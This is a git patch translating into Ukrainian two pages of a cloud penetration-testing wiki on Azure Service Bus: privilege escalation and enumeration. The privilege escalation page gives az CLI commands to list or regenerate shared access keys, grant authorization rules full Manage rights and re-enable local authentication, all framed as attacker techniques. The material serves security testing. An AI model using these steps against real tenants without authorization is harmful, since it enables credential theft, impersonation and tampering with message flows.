From aaf6b8744d57c4fdfc4d203ae32d69f74d013df3 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 15 Feb 2025 03:25:19 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-servicebus-privesc.md | 86 ++++++++++++++++--- .../az-services/az-servicebus-enum.md | 33 ++++--- 2 files changed, 93 insertions(+), 26 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 3032b62e4..27291457a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -10,7 +10,79 @@ ../az-services/az-servicebus-enum.md {{#endref}} -### Відправка повідомлень. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` +### Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action АБО Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action + +Ці дозволи дозволяють отримувати або регенерувати ключі для локальних правил авторизації в межах простору імен Service Bus. Використовуючи ці ключі, можливо аутентифікуватися як простір імен Service Bus, що дозволяє надсилати повідомлення в будь-яку чергу або тему, отримувати повідомлення з будь-якої черги або підписки, або потенційно взаємодіяти з системою способами, які можуть порушити операції, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями. + +Зверніть увагу, що за замовчуванням **`RootManageSharedAccessKey` правило має повний контроль** над простором імен Service Bus і використовується `az` cli, однак можуть існувати й інші правила з іншими значеннями ключів. +```bash +# List keys +az servicebus namespace authorization-rule keys list --resource-group --namespace-name --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey] + +# Regenerate keys +az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group --namespace-name [--authorization-rule-name RootManageSharedAccessKey] +``` +### Microsoft.ServiceBus/namespaces/AuthorizationRules/write + +З цим дозволом можливо **створити нове правило авторизації** з усіма дозволами та власними ключами за допомогою: +```bash +az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send +``` +>[!WARNING] +>Ця команда не відповідає з ключами, тому вам потрібно отримати їх за допомогою попередніх команд (та дозволів), щоб підвищити привілеї. + +Більше того, з цією командою (та `Microsoft.ServiceBus/namespaces/authorizationRules/read`) якщо ви виконаєте цю дію через Azure CLI, можливо оновити існуюче правило авторизації та надати йому більше дозволів (якщо їх не вистачало) за допомогою наступної команди: +```bash +az servicebus namespace authorization-rule update \ +--resource-group \ +--namespace-name \ +--name RootManageSharedAccessKey \ +--rights Manage Listen Send +``` +### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action + +Конкретні теми та черги всередині простору імен Service Bus можуть мати свої власні правила авторизації, які можна використовувати для контролю доступу до сутності. Маючи ці дозволи, ви можете **отримати або відновити ключі для цих локальних правил авторизації**, що дозволяє вам аутентифікуватися як сутність і потенційно надсилати або отримувати повідомлення, керувати підписками або взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями. +```bash +# List keys (topics) +az servicebus topic authorization-rule keys list --resource-group --namespace-name --topic-name --name + +# Regenerate keys (topics) +az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group --namespace-name --topic-name --name + +# List keys (queues) +az servicebus queue authorization-rule keys list --resource-group --namespace-name --queue-name --name + +# Regenerate keys (queues) +az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group --namespace-name --queue-name --name +``` +### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write + +З цією дозволом можливо **створити нове правило авторизації** з усіма дозволами та власними ключами з: +```bash +# In a topic +az servicebus topic authorization-rule create --resource-group --namespace-name --topic-name --name --rights Manage Listen Send + +# In a queue +az servicebus queue authorization-rule create --resource-group --namespace-name --queue-name --name --rights Manage Listen Send +``` +>[!WARNING] +>Ця команда не відповідає з ключами, тому вам потрібно отримати їх за допомогою попередніх команд (та дозволів), щоб підвищити привілеї. + +Більше того, з цією командою (та `Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read`) якщо ви виконаєте цю дію через Azure CLI, можливо оновити існуюче правило авторизації та надати йому більше дозволів (якщо їх не вистачало) за допомогою наступної команди: +```bash +# In a topic +az servicebus topic authorization-rule update --resource-group --namespace-name --topic-name --name --rights Manage Listen Send + +# In a queue +az servicebus queue authorization-rule update --resource-group --namespace-name --queue-name --name --rights Manage Listen Send +``` +### Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used) + +З цими дозволами **зловмисник може повторно активувати "локальну аутентифікацію"** за допомогою наступної команди, і, отже, всі ключі з спільних політик будуть працювати. +```bash +az servicebus namespace update --disable-local-auth false -n --resource-group +``` +### Відправка повідомлень з ключами (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action АБО Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action) Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю автентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями. ```python @@ -81,7 +153,7 @@ print("Messages Sent") print("----------------------------") ``` -### Отримати повідомлення. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` +### Отримати з ключами (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action) Ви можете отримати PrimaryConnectionString, який слугує обліковими даними для простору імен Service Bus. Використовуючи цей рядок підключення, ви можете отримувати повідомлення з будь-якої черги або підписки в межах простору імен, що дозволяє отримати доступ до потенційно чутливих або критичних даних, що дозволяє ексфільтрацію даних або втручання в обробку повідомлень і робочі процеси додатків. ```python @@ -127,16 +199,6 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` - -Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи спільні ключі доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та відправкою/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC). -```bash -az servicebus namespace authorization-rule update \ ---resource-group \ ---namespace-name \ ---name RootManageSharedAccessKey \ ---rights Manage Listen Send -``` ## Посилання - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 3f344fe0a..7e875e4cf 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -16,7 +16,7 @@ Azure Service Bus - це хмарна **служба обміну повідом - Кілька незалежних підписок отримують копії повідомлень. - Підписки можуть мати правила/фільтри для контролю доставки або додавання метаданих. - Підтримує комунікацію багато-до-багато. -3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, схожий на вашу власну частину потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності. +3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного кластера Azure, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності. ### Advance Features @@ -47,25 +47,13 @@ SAS Policies визначають дозволи доступу для сутн ### NameSpace -sku, правило авторизації, +sku, authrorization rule, ### Enumeration {{#tabs }} {{#tab name="az cli" }} ```bash -# Queue Enumeration -az servicebus queue list --resource-group --namespace-name -az servicebus queue show --resource-group --namespace-name --name - -# Topic Enumeration -az servicebus topic list --resource-group --namespace-name -az servicebus topic show --resource-group --namespace-name --name - -# Susbscription Enumeration -az servicebus topic subscription list --resource-group --namespace-name --topic-name -az servicebus topic subscription show --resource-group --namespace-name --topic-name --name - # Namespace Enumeration az servicebus namespace list az servicebus namespace network-rule-set list --resource-group --namespace-name @@ -79,6 +67,23 @@ az servicebus namespace authorization-rule list --resource-group --namespace-name --queue-name az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name + +# Get keys +az servicebus namespace authorization-rule keys list --resource-group --namespace-name [--authorization-rule-name RootManageSharedAccessKey] +az servicebus topic authorization-rule keys list --resource-group --namespace-name --topic-name --name +az servicebus queue authorization-rule keys list --resource-group --namespace-name --queue-name --name + +# Queue Enumeration +az servicebus queue list --resource-group --namespace-name +az servicebus queue show --resource-group --namespace-name --name + +# Topic Enumeration +az servicebus topic list --resource-group --namespace-name +az servicebus topic show --resource-group --namespace-name --name + +# Susbscription Enumeration +az servicebus topic subscription list --resource-group --namespace-name --topic-name +az servicebus topic subscription show --resource-group --namespace-name --topic-name --name ``` {{#endtab }}